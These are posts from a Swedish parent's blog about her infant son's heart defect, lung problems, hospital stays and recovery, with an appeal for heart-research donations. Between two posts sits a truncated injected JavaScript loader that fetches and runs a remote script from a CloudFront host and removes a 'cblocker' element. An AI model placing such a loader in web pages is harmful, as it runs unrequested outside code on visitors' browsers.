Att minnas och uppskatta

Livet springer ifrån mig lite känner jag. Livet har fått vardag med morgon och kvällsbestyr, inrutade vardagar och efterlängtade helger. Inplanerad semester och schemalagda läkarbesök. Vi har en liten, stor, kille på snart 20 månader och om 10 veckor så anländer hans lillebror. Livet går lite för fort fram. Så fort att jag ibland tvingar mig själv att stanna upp och reflektera. Jag blir nästan lite rädd ibland över hur fort man vänjer sig vid en ny livssituation och hur fort det går att börja ta allt för givet igen.

Det var inte alls längesedan vi bodde på sjukhuset, då ena dagen var bra och nästa dålig, då livet en dag svajade på den sköraste tråden men nästa var stabil. Det var inte alls längesedan livet var som en enda berg och dalbana och vi slets mellan hopp och förtvivlan. Det är viktigt att kunna gå vidare, att tillåta livet att fortsätta levas, att uppskatta nuet och det man har. Men för mig känns det lika viktigt att påminna mig själv, att låta mig själv minnas den tiden som var som allra jobbigast, den tiden som gjort att vi hamnat där vi är idag.

Det är så lätt att tjafsa om vem som ska gå upp 05.00 när lilleman vaknar, lätt att bli irriterad över en sömnlös natt pga tänder som är på väg. Det är lätt att tröttna på tjatet om -vad ska vi äta idag, vem ska handla, tanka bilen, hänga tvätt, dammsuga? Alla måsten och vardagssysslor hopar sig lätt till en hög av irritation och suckar. För ett år sedan låg vi sömnlösa för vi var rädda att Noel skulle sluta andas, vi längtade efter att få vara ”som alla andra” och handla i mataffären, laga middag tillsammans, städa hemma hos oss själva och bara vara en familj. Man glömmer lätt då vardagen tar över, en vardag som vi suktade så länge efter men tycktes vara så långt borta. Jag påminner mig själv vart vi varit, för då uppskattar jag det vi har idag betydligt mer. Jag vill inte glömma, förtränga eller sluta tänka på hur vi haft, det är på något sätt det som format hur vi är som familj idag. Vi tar en dag i taget, planerar lite grann men försöker njuta i största mån det går.

Jag vill inte ta något för givet. Jag tar fortfarande inte livet för givet, andetagen, de små stunderna av total glädje och kärlek som familj. Jag vet hur snabbt det kan vända, så istället försöker jag njuta så mycket jag bara kan. Men visst glömmer jag ibland, blir irriterad över ”småsaker” i vardagen, visserligen har det sin charm, men om jag påminner mig själv om vad som är viktigast i livet så gör det mig inget att disken blir stående till dagen efter.

Det är fantastiskt egentligen hur långt vi kommit, vilken resa vi gjort och hur mycket Noel utvecklats det senaste året. För ett år sedan (maj) så kunde han inte andas själv alls, levde tack vare cpap och oändligt mycket syrgas, fick mat endast via sin knapp och orkade inte leka alls. Ett år senare så har han syrgas endast när han sover, han äter 5 mål om dagen själv (oftast) och leker oavbrutet, nu måste han istället underhållas alla vakna timmar och energin tycks aldrig ta slut. Idag kan han sitta själv, stå med stöd, plocka med leksaker, ha ner klossar och skratta när vi busar med honom. Livet ser helt annorlunda ut och så även vår vardag. För det är jag oändligt tacksam, för varje andetag som Noel kan ta utan hjälp. Och att minnas tiden då livet hängde på en skör tråd gör att jag uppskattar livet idag så mycket mer. Jag är stolt över Noel och stolt över oss föräldrar, jag är stolt över Ted och över hur alla nära och kära hanterat hela situationen. Och även om jag ibland är ledsen över vissa saker och sörjer en del saker i livet så är vi lyckliga idag, trygga i vår familj och redo för framtiden. Vi vågar se framåt och vi vågar även minnas.

30 maj i år fyllde jag år och vi firade med familj och vänner. Samma dag för 1 år sedan så satt vi på ett tåg på väg ner mot Lund och Noel flögs ner med hjälp av PETS teamet från ALB. 31 maj förra året så fick Noel sitt hela hjärta. Om man inte hade kunnat operera och laga hans hjärta så hade han inte funnits här idag. Den bittra sanningen är den. Utan sitt hela hjärta hade vi inte varit en hel familj idag. För detta är jag verkligen evigt tacksam. Det var den finaste presenten vi någonsin kunnat få, den bästa födelsedagspresenten. Så i år när jag fyllde så firade vi även att Noel haft sitt hela hjärta i 1 år. Livet lever vidare, men vi slutar aldrig minnas, kanske på gott och ont, men för oss så är det nyttigt att minnas det som varit, det får oss att uppskatta det vi har, och att inte ta saker för givet. Noel är den vackraste gåvan vi kunnat få, vårt lilla mirakel, men en människa med ett eget liv som vi verkligen inte tar för givet!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

2 dagar Stockholm, 2 dagar hemma

Allt gick bra i Torsdags, vi hade träff med en utav Noels lungdoktorer, han andas fint och hon var positivt överraskad över hur bra Noel mår just nu, vilket ju känns bra inför måndagens sövning. Vi diskuterade lite kring det där med Bipap och behovet som vi ser det finns inte just nu, Noel sover bra på nätterna och dippar inte i syresättning på samma sätt nu, det är mest om han självmant dragit bort grimman i sömnen. Dock får vi ju se vad undersökningarna kommer visa på måndag, vi får ju inga svar på en gång, men dom kanske kan säga lite mer då hur det kanske ser ut i luftvägar och lungor. Ibland så tror läkarna att det beror på sjuk lungvävnad och ibland tror dom på att det är luftstrupen som är för trång. Jag ”hoppas” mer på det sistnämnde för det skulle innebära att man eventuellt kan göra något åt det, antingen så kan man vidga dem eller så kommer det helt enkelt att rätta till sig i takt med att Noel växer.

Vi träffade även narkospersonal inför sövningen. En människa som sannerligen engagerat sig och ringt många samtal för att vara så säker som möjligt inför att söva Noel. Så vi fick även göra en ultraljudsundersökning av hjärtat på fredagen, vilket såg bra ut. Man ser Noels deviceslutning av hans ASD och det ser verkligen fint ut, hans små ”paraplyer” täcker det gamla hålet kanon. Hans ductus står fortfarande öppen, men det är inget tryck till lungorna och flödet ser bra ut mellan hjärtat och lungorna. Alltså en ok-stämpel på hjärtat av kardiologen :)

Vi träffade även Noels barnkirurg som opererade hans analatresi samt en sköterska från tarmterapin, jag tycker verkligen om dessa människor, dem engagerar sig till 110% för att Noel ska ha det så bra som möjligt. Nu har ju Noel inte haft några problem med hans analatresi sedan födseln, förutom kortare perioder av förstoppning, men det kan alla barn ha. Han får en daglig dos av ett mildare, mer naturligt lavemang som ändå ”håller igång” magen en del. Vi ska fortsätta så och ge resulax vid behov. Vi diskuterade även bristen på en ansvarig läkare kring Noel, och Noels barnkirurg delade vår frustration över att vi inte har någon kunnig läkare som har hand om Noel och kommer vara hans läkare en lång tid framöver. Vi har tagit ett stort beslut när det kommer till detta, och vi kommer nog mest sannolikt att byta sjukhus från Norrköping till Linköping efter Februari då Noels nuvarande läkare slutar på dagavdelningen. Vi behöver en läkare som har mer koll, en läkare som bryr sig om oss som familj och som kan se helheten. En läkare som ockås (förutom oss föräldrar) har stenkoll på Noel, hans sjukdomar och på vad som måste undersökas/göras i framtiden. En läkare som har koll på pungkulor, öron, lungor, hjärta, blodtransfusioner, intyg mm. samtidigt och inte glömmer bort det ena för att det andra är mer prioriterat. Vi behöver en läkare som H som har ett stort hjärta och engagemang för Noel och för oss som familj, en läkare som visar empati och förståelse, men också en läkare som sitter inne på lite mer kunskap och som har bra kontakter med de andra sjukhusen och med kompetenta läkare där. Jag hoppas att vi kan hitta en sådan läkare i Linköping, det kommer kanske krävas några besök, men det är värt det, vi vill att Noel ska ha den bästa vården, det är han verkligen värd, tusen gånger upp!

 

Hur som helst så ska vi inte göra något fören tidigt på måndag morgon, så vi beslutade oss för att ändå åka hem över helgen. Vi blev klara i Stockholm runt 15 igår, så vi packade ihop och körde hem till Norrköping igen. Ett bra beslut, Noel sken upp som en sol när han såg att vi kommit hem. Det är underbart att se att han verkligen känner igen sig här hemma och känner sig trygg här, han var så glad att han inte somnade fören framåt elva igår kväll. Vi åker tillbaka till Stockholm imorgon kväll så Noel kan sova i bilen upp, vi kommer bara sova en natt på familjevåningen och sedan kommer vi vara på dagavdelningen Q83 under måndagen fram till Noel sövs. Man kommer göra en datortomografi (CT) på lungorna och en eventuell bronkoskopi (man filmar från luftvägarna ner i lungorna under narkosen). Vi hoppas givetvis att Noel orkar vakna upp ”som vanligt” när narkosen släpper men vi vet inte, han kommer att intuberas och ligga i respirator under narkosen och sedan hoppas vi såklart att han orkar vakna upp och bara behöva syrgasen. Vi vet aldrig hur hans kropp reagerar på narkos, vissa gånger har han kunnat vakna upp och återgå till bara syrgas på en gång och vissa gånger har han behövt respirator en längre tid. Vi får se helt enkelt. Om allt går bra får vi nog kanske åka hem redan på måndag, eller senast tisdag. Vore skönt att ha så få dagar på sjukhuset som möjligt. Därav också beslutet att åka hem över helgen, Noel sov oroligt och var mer rastlös än hemma, trots att vi tog med massa leksaker och hans stora hoppgunga. Vi trivs nog alla bäst här hemma, i vår trygga vrå!

Idag har pojkarna kikat på fotboll halva dagen, iklädda varsin Chelsea tröja :) Själv har jag fikat på stan med en vän och lagat riktigt god lasagne! Imorgon ska vi ta en lång promenad och sedan ska jag försöka hinna träna innan vi åker iväg. I onsdags provade jag Afrodans på Friskis, vilket var över förväntan. Har dansat i många år, men har tappat det sedan några år tillbaka. Afrodans var lagom avancerat just nu, och riktigt, riktigt roligt, just för att det var kravlöst och en annorlunda, rolig träning!

Alla Barnhjärtans månad

För er som missat det så är Januari månad Alla Barnhjärtans månad. Noel är ett hjärtebarn, och utan hans hjärtoperation i Maj 2011 så hade jag inte haft en kille full av liv sovande bredvid mig nu! Noels hjärtfel var inte jättekomplicerat men det var livsavgörande för honom. Noel föddes med ett hål mellan förmaken i hjärtat och man kunde sluta det tätt med hjälp av en kateter via ljumsken. Efter många års forskning så har man kommit fram till denna tekning som gjorde det möjligt att rädda Noel och laga hans hjärta utan att behöva öppna upp bröstkorgen på honom. Dessvärre så föds otroligt många barn i Sverige och i resten av världen med betydligt mer komplicerade hjärtfel än Noel och tyvärr så dör många barn i svåra hjärtfel. Detta är hjärtbarnens månad. För att kunna rädda fler barn krävs mer forskning, inget som staten kan bidra till i stora medel. Därför är insamlingar som dessa livsnödvändiga, just för att fler barnhjärtan ska få klappa längre, precis som Noels!

Om du kan, ge en slant till Hjärt och Lungfondens insamling för alla hjärtebarn!

Om jag hade haft tid och ork att starta en egen insamling (räcker med den vi har :)) så hade jag gjort det, istället stödjer vi HejaAbbe i deras insamling, gör det du också!

GÅ IN HÄR FÖR ATT STÖDJA ABBEPAPPANS INSAMLING FÖR ALLA HJÄRTEBARN DÄR UTE!

[youtubeplay id=”XF-tqA_cbdc” width=”560″ height=”315″]

Uppmanar även alla som tänkt att ni vill donera era organ att gå in och registrera er för att bli donatorer, om ni tänkt att ni ska göra det, så gör det redan nu, gå in HÄR!

Den förlorade remissen….

Det har ju faxats upp en ny remiss, fast egentligen var det den gamla som dom faxade, och det är ju bra, att Stockholm har fått den alltså. Mindre bra var ju att det knappt stod något på den tydligen, inte vilka problem Noel egentligen har, att han blivit sämre eller vilka undersökningar man önskas göras. Detta gör att Stockholm inte tar lika ”allvarligt” på det och att det tar längre tid att samordna allt eftersom man där uppe måste bedöma (innan de ser Noel) vilka undersökningar som kan vara lämpliga.

Det enda jag kan säga är att det varit tur att jag ringt några gånger nu och legat på själv, att jag talat om hur Noel faktiskt mår och försökt att skynda på det hela. Men det har inte hjälpt märkvärt. Kanske i Oktober, eller November/December…om vi vill göra allt på samma gång vill säga, om vi kunde tänka oss att göra en undersökning och sedan vänta någon vecka på nästa (åka hem emellan) så kanske det kunde bli av ”redan” i oktober.

Vi känner oss bara så ledsna och frustrerade över att ingen tar det på allvar, det känns som vi är ensamma och ingen bryr sig ordentligt. Jag undrar hur människor hade tänkt om det rörde deras egna barn, fast det är klart så kan man ju inte tänka på jobbet, eller?? Hur som så ledde frustrationen i fredags till att vi ringde ner till Lund. Noels kardiolog hade ju lovat att om vi inte kände att vi fick gehör kring lungutredningen så kunde vi höra av oss till honom, för han ville absolut inte att Noel skulle falla mellan raderna och inte få utredningen gjort inom snar framtiden, detta var i slutet av Juli, och nu är vi här, i slutet av september snart..utan utredning…Han lovade i alla fall att ringa både till Norrköping och till Stockholm på måndag för att förklara hur viktigt det är att Noel tas om hand på rätt sätt och att han får komma iväg nu, han skulle försöka skynda på det hela så mycket han kunde. Han sa något jättefint till mig, som gjorde mig varm inombords och så avslutade han med att säga att Noel ju fortfarande är deras patient, det är alla hjärtbarn, och bara för att man är utskriven betyder det inte att dom fortfarande inte har ansvar..så otroligt skönt att höra, att de bryr sig trots att vi inte är i Lund och att de tar ansvar för hela familjen och framför allt att det inte släpper taget utan håller det dom lovar och följer hela vägen ut…varför är det inte så på fler sjukhus? Eller varför upplever vi det inte så på fler sjukhus? Hemma är det sköterskorna som räddar sjukhuset, i Lund är det läkarna som tar ansvar…kan man inte kombinera de båda och göra det bästa sjukhuset??

Jag hoppas på bättre datum efter morgondagen…det gäller att kämpa och att aldrig ge upp..ungefär som Noel, och jag kan ju absolut inte vara sämre än honom!

Vi får stanna tills….

Ja, vi har fått ”klartecken” att vi får stanna i Lund tills man hittat problemet med Noel, anledningen till varför Noel behöver syrgas. Man anser att Noels ductus ensam inte kan förklara hans andningsproblem och man vill därför vänta med att operera, tills man hittat ”boven”, om man nu gör det. Man tog en lungröntgen igår, och den såg verkligen inte bra ut tyckte kardiologen som gemensamt med en lungdoktor sett bilderna, det ”lustiga” är att de såg nästan lika ut som alla andra bilder som tagits, då undrar jag ju varför ingen liksom reagerat tidigare, ungefär som att kardiologen fick en chock över att Noel inte fått en speciell medicin som hjälper till att bygga upp röda blodkroppar på grund av hans blodsjukdom, den har han aldrig fått, man har alltså missat att ge honom den hela Noels levnad, suck!

Det som skett hittills är att man konstaterat att Noel har alldeles för högt tryck i lungorna. Så här är det, man ska ha ett visst tryck av cirkulation i kroppen, i organen. Som men Noels hål han hade i hjärtat, det gjorde ju att det läckte blod mellan hans två förmak, vilket gjorde att cirkulationen av blod ökade…så är det med lungorna, inget hål utan alltså hög cirkulation av blod. Och detta extra blod kommer någonstans ifrån, men inte längre från hjärtat. När det blir ett högre tryck av blod så samlas det i blodkärlen och lungornas kärl vidgas och därav försämras lungfunktionen och cirkulationen av luft som ska andas in och ut, vilket leder till ett ökat syrgasbehov för att hjälpa lungorna att syresätta kroppen då vissa av lungkärlen då klibbar igen på grund av för mycket blod. Om ni tänker er ett sugrör (som exempel), om det är ett kärl och man fyller det med vätska, det går ju att fylla vätska till en begränsad mängd, men om man fortsätter fylla på så tänjer man ju ut sugröret som i sin tur tar upp mer plats än den ursprungliga storleken på kärlet skulle göra..ja det orsaker ju lite problem, och det är lätt att kärlen klibbar igen och tappar funktionen helt…jag har också svårt att förstå hur det hela fungerar men detta är väl den bästa förklaringen jag kan ge på Noels lungproblem. Men blodtillförseln kommer ju någonstans ifrån, och dagens ultraljud på hjärnan och buken visar inte på att det skulle finnas någon shunt på något av ställena vilket är väldigt skönt på ett sätt men jobbigt på ett annat då det skulle ha kunnat förklara problematiken. Man vill inte utgå från att Noel skulle ha någon lungsjukdom när det finns många andra förklaringar till trycket i lungorna, man vill undersöka dessa först, och kanske efter det om man fortfarande inte vet varför, genomföra operationen för att se om det sker någon förbättring. Känns som att vi bara experimenterar med min lilla älskling.

Det som sker nu är nya undersökningar. Det är extremt jobbigt att vara här, det är psykiskt påfrestande att ha åkt så långt, få tråkiga besked och att ”leta” fel på sitt barn. Det känns som att det kommer bli en lång och jobbig process med ett tråkigt slut, det är så det känns och jag tänker inte ljuga och säga något annat. Vi pratar mycket, mest med varandra. Vi är ju trots allt de enda som förstår varandra och vad vi går igenom, och prata har vi alltid varit duktiga på. Vi säger ofta till varandra att det blir bra allting, att det löser sig, men nu känns det annorlunda, jag vet inte varför, det är bara extremt tufft och jobbigt just nu…jag gillar inte sjukhus och än mindre alla undersökningar, som jag ju vet är viktiga och nödvändiga, ändå blir jag irriterad på vårdpersonal, tappar tålamodet med Noel, sover dåligt och är trött och lättirriterad. Det är situationen säger min underbara mamma och hon har säkert rätt, för jag brukar ha tålamod och jag brukar inte bli så irriterad över småsaker, men allt känns jobbigt just nu. Och ingen av oss har känslan av att det ”löser sig”.

Vi är vid den punkten att vi bara tröttnat på allt, vi vill veta, vi vill veta vad vi har att vänta i framtiden, som läkarna själva säger så har Noel varit sjuk väldigt länge nu, och det är dags att ta reda på varför. Vi vill veta om han kommer behöva syrgas hela livet, om han någon gång kommer att bli frisk. Hur prognosen ser ut, kommer han få stanna hos oss? Det är jobbiga tankar, men det är viktigt att få veta. Hur förjävliga beskeden må vara så är det bättre än ovissheten, den bara gnager sönder en inifrån, äter upp en långsamt. Jag älskar min lilla prins över allt annat, och över allt annat så vill jag ha honom kvar hos mig. Men att inte veta, att vakna upp, se honom le är det bästa som finns, men att inte veta om det är för evigt, tills imorgon eller nästa år det är alldeles för jobbigt. Jag vet att livet inte är någon garanti, man får inget garantikvitto när man föds, inget bäst före datum, men jag vill ha svart på vitt VAD som är fel på Noel och OM man kan göra något åt det, jag VILL veta om Noel kommer överleva eller om han är för sjuk för att leva kvar hos oss. Jag orkar inte fundera på om och kanske, jag vill veta….

Och jag vill inget hellre än att få ett friskt barn, en frisk Noel, jag vill honom det bästa, jag vill leva livet ut med Noel, se honom växa upp, det är vår rättighet, det borde vara det, det är så det borde vara…det är så jag vill att det ska bli….

Så mycket känslor och så lite ro i att sitta vid datorn. Min familj kommer i första hand…det kommer nog påverka antal inlägg framöver. Dagarna är ändå fulla av undersökningar osv, och kvällarna är alldeles för trötta…

Ska försöka uppdatera om det som sker.

Röntgen och Ultraljud

Vi har avklarat de två viktigaste undersökningarna nu på morgonen. Röntgen gick okej, med tanke på att vi alla hatar lungröntgen. Sedan träffade vi en utav kardiologerna som gjorde ett ultraljud på hjärtat. Min magkänsla jag haft har till viss del fått sin förklaring. Noels ductus är liten, och trycket är inte heller så stort. Därför kan man väl i nuläget konstatera att Noel HAR problem med lungorna, vad för problem vet vi inte och inte till vilken grad heller. Man vill prova att sätta ut en speciell medicin som Noel får för att se om det har någon positiv inverkan på lungorna, och han kunde ännu inte svara på om det blir operation imorgon eller inte. I normala fall så opererar man inte så små ductus som Noels, men med tanke på att han har problem med andningen så höll läkaren med mig om att man ju faktiskt vill optimera Noels förhållanden och att mycket av problematiken han har nu kan vara till följd av att hjärtat gjort lungorna ännu sjukare.

Vi vet inte om det blir operation än. Vi ska samtala med läkarna efter lunch, först blir det provtagning och sedan blodtransfusion!

Några mil kvar till Lund

Resan har hittills gått bra. Noel var gnällig första timmen av trötthet, men somnade efter Motala och har snällt sovit sedan dess, lite gnäll emellanåt, förmodar att han också får träsmak i baken som vi andra, tråkigt att sitta fastspänd i flera timmar han som numer vant sig vid att rulla runt och vända sida själv i sömnen….

Bjuder på denna så länge, en superduktig Noel som sitter så fint så :)

Vi åker imorgon…

Vi åker till Lund imorgon. Jag har så mycket blandade känslor kring resan. Det är något i min magkänsla som inte känns bra. Jag kan inte sätta fingret på vad det är riktigt, det bara inte känns bra. Så många känslor, så många minnen. Mitt hjärta säger en sak, förnuftet ett annat och hoppet något helt annat. Det är lustigt det där, att så mycket känslor och tankar kan ta plats samtidigt.

Jag gillar inte nya sjukhus, jag gillar ju egentligen inte sjukhus över huvud taget. Men det är något speciellt när man kommer till ett nytt ställe där de inte känner oss. Och när vi var i Lund sist på BIVA så var det mest bara jobbigt. Jag kände mig överkörd. Jag har inte skrivit om det förut, kanske för att det inte varit så relevant i det stora hela. Men det är något visst med BIVA/BIMA, de har sina rutiner och de kör mest på. Jag kände mig extremt överkörd sist. De finns de som inte tänker så mycket på föräldrarna, eller så gör de det på sitt sätt enligt något mall. De tror att alla faller under samma mallar och ramar, att alla reagerar på samma sätt, hanterar saker lika. Men, jag tror mig veta, att oavsett om man varit med om samma sak så känns det olika för alla, vi är olika individer med olika ryggsäckar, olika bagage, vi reagerar olika. Jag våndas Lund, alla känslor, alla tankar, alla minnen. Att lämna sitt barn för operation, se sitt barn sövas, sitta vid sidan och vänta på att sitt barn ska vakna upp, se sitt barn i respirator, kopplat till tiotals sladdar och slangar…jag tror, att ingen som inte varit där själv någonsin kan förstå vad man som förälder går igenom vid en sådan jobbig situation. Det absolut käraste och mest värdefulla man har ligger bredvid dig, så liten, så skör, så utlämnad. Jag tror ingen förstår, även om så många tror att de gör det, de vill förstå. Så är det lite med vårdpersonalen, de flesta är underbara, och de försöker, på sitt sätt. Men jag känner mig ändå överkörd. Sist vi var i Lund så blev jag faktiskt jätteledsen för helt plötsligt stod en sköterska och bytte blöja på Noel. De tror ibland att alla föräldrar är lika, att alla som har barn på BIVA behöver en paus, att man inte orkar ta hand om sitt barn som är så sjukt, att det är deras ansvar att ta hand om mitt barn. Saken är den att för dem så är Noel vem som helst, en sjuk pojke som ligger på BIVA, på deras arbetsplats, han är deras jobb, när vi sedan åker glöms han bort, han finns inte mer. Men för mig, det är min son, jag är hans mamma, mitt käraste, så levande, så underbar. Jag vill kunna ge honom allt jag kan, och ibland så kan jag inte ge honom allt, jag är ingen kirurg, och jag skulle för allt i världen inte vilja skära i mitt eget barn, det förlitar jag mig till kirurgerna att göra, att de gör sitt allra bästa för att hjälpa mitt barn, jag tar inte ifrån dem sitt jobb, ta då inte ifrån mig mitt. Det är så lätt att vi glöms bort, vi föräldrar, att vi faktiskt är föräldrar, att det är VÅRA barn. Det är inte landstingets barn, jag delar inte Noel med någon annan än Noels pappa, Noel är vår son, hemma som på BIVA. Kan jag mata, byta blöja, ge medicin, så låt mig göra det. Kör inte över den viktigaste rollen i mitt liv, att få vara just mamma åt min son. Han är det viktigaste för mig, och jag för honom.

Det finns en viss jargong på sjukhusen, speciellt på intensivvårdsavdelningar, de har sina rutiner, och de tror att alla andra följer efter dem. För dem så är jag en skitjobbig mamma, på det sättet att jag vill ha allt på vårt sätt, jag kan mötas halva vägen, eller ge efter för att jag måste, för att jag inte vet bättre om just den saken. Men, jag är mamma, och jag vet mitt barns bästa. Jag kände mig trampad på, förminskad sist vi var i Lund, och i Stockholm också emellanåt. Då är jag ändå ganska hårdhudad vid det här laget och inte rädd för att tala min mening när det kommer till vården kring Noel. Men ändå, så kände jag mig så överkörd. Om människor gick en dag i mina skor kanske de skulle låta bli att tro så mycket, låta bli att säga vissa saker, låta bli att agera på ett sätt. Om de gav oss bara några minuter att få förklara, att få lämna vår åsikt, berätta lite om vart vi kommer ifrån så skulle det kännas lite bättre. Men det är så inrutat på sjukhus, så fyllt av regler och motoriskt agerande, och självklart, till stor fördel för det mesta. Men känslor och tankar kan aldrig schemaläggas, aldrig läggas inom ramar och mallar, känslor är individuella, och vi i vår familj är tre olika individer inte alls likt grannens på BIVA.

Jag vet också att vi blivit bortskämda, på NEO här på uppe på Vrinnevi, jag vet det, för jag har jämfört, och kommer alltid jämföra med alla underbara människor vår väg korsats med på Neo.

Hur som så åker vi imorgon kväll, för Noels bästa, så han kan sova i bilen och slippa vara vaken under en lång bilfärd i sol och värme. Vi kommer att övernatta på patienthotellet invid sjukhuset när vi kommer. Däremot så kommer vi nog bo på avdelningen (barnhjärtcentrum) f.o.m måndag. Jag ska försöka uppdatera i mån av tid och ork. Det är också ett dilemma att man ej får ha varken mobil/internet igång på hela barnhjärtcentrum och givetvis heller inte på BIVA. Jag ska göra mitt bästa för att skriva om det blir operation eller inte, i så fall sker den på tisdag, och vi vet inte något själva fören efter alla undersökningar som ska göras på måndag. Det kommer bli en lång dag på måndag och många möten och undersökningar. Kommer förmodligen kunna uppdatera på måndag kväll, men kan inte lova något.

Här kommer det bildspel jag la upp efter Noels hjärtoperation i Maj, första delen är ifrån veckorna innan, då vi befann oss på BIMA i Stockholm (Astrid Lindgrens).

[youtubeplay id=”RFeyTicD3S8″ width=”560″ height=”349″]

Lund den 1 Augusti

Idag är det 1 vecka kvar till nästa vända ner till Lund. Jag fick ett samtal idag från en utav kardiologerna på BUS i Lund. Dom tar det på allvar den här gången, eftersom läget inte stabiliserat sig, att Noel fortfarande är dålig och har ett hjärta som sviktar så har man ännu en gång diskuterat honom. Man har kommit fram till att man behöver göra flera nya undersökningar, vilket kommer att göras på måndag den 1a, om man bedömer att hans ductus är det stora problemet i det hela så har man reserverat en operationstid på tisdag den 2 augusti.

Jag önskar väl helst att man ser att Noels öppetstående ducuts är boven i det hela just nu och väljer att operera honom på tisdagen. Men mitt mammahjärta känner annorlunda vad gällande operationen…eller det gör jag väl egentligen inte heller. Man har så många blandade känslor. Jag vill ju att operationen ska genomföras, det kommer den ju göra förr eller senare ändå, jag vill ju inte åka ner till Lund och sedan åka hem bara sådär, med ett hål kvar i hjärtat liksom. Men samtidigt blir detta Noels 5e operation på 8 månader. Det känns inte heller kul.

Orkar inte skriva om alla känslor just för tillfället. Operationen är nödvändig, och jag vill min son hans bästa. Men ångesten smyger på mig som vanligt, det där med att lämna sitt barns öde i någon annans händer, se honom bli sövd och sitta där på uppvaket/BIVA och hoppas på att han vaknar upp som han ska och att operationen gjort honom väl, att allt gått bra. För att inte tänka på alla de timmar man väntar på att operationen ska bli klar, alla tankar, all oro, ångest…

Måtte detta bli sista operationen, den avgörande, den som gör vårt liv ”normalt”, jag vågar inte hoppas, inte drömma, inte tro…ändå finns där en tanke på att det kanske skulle kunna vara så….

Lund alltså..kanske hjärtoperation nr 2, redan om 8 dagar…..8 dagar, det är ingenting, ingen tid att förbereda sig på….

Nya orosmoln

Japp, världens åskväder igår kväll och inatt. Nu har vi insett nya saker att oroa sig över. Ja, det där med att strömmen går. Nu gjorde den visserligen inte det igår, men tänk om den skulle gå mitt i natten utan att man märker det, utan att man vaknar? Usch, jobbiga tanke. Igår rustade vi upp med syrgastuber, ficklampor, blockljus osv i sovrummet ifall att strömmen skulle gå. Stackars pappan fick sitta vaken tills åskan snällt försvann runt 4 i morse.

Vill inte vara med om att något hemskt händer bara för att Noel inte får syrgas pga strömavbrott osv. Skulle heller aldrig förlåta mig själv för slarv, om man exempel inte har tillräckligt med koll på tuberna när man är iväg, om de börjar ta slut osv. Ja usch, det är jobbigt att ens tänka på. Händelsen för ett par veckor sedan hos farfar. Fy.

Från det ena till det andra kan jag nu också börja oroa mig inför hjärtoperation nr 2. Förmodligen någon gång i höst. Vi hörde från Lund igår, men det är semestertider även i Lund, så vi får mer, bättre svar nästa vecka….denna väntan…det lustiga är att man ska vänta på att sitt barn ska bli friskt..fast att det finns saker man kan göra åt det…suck!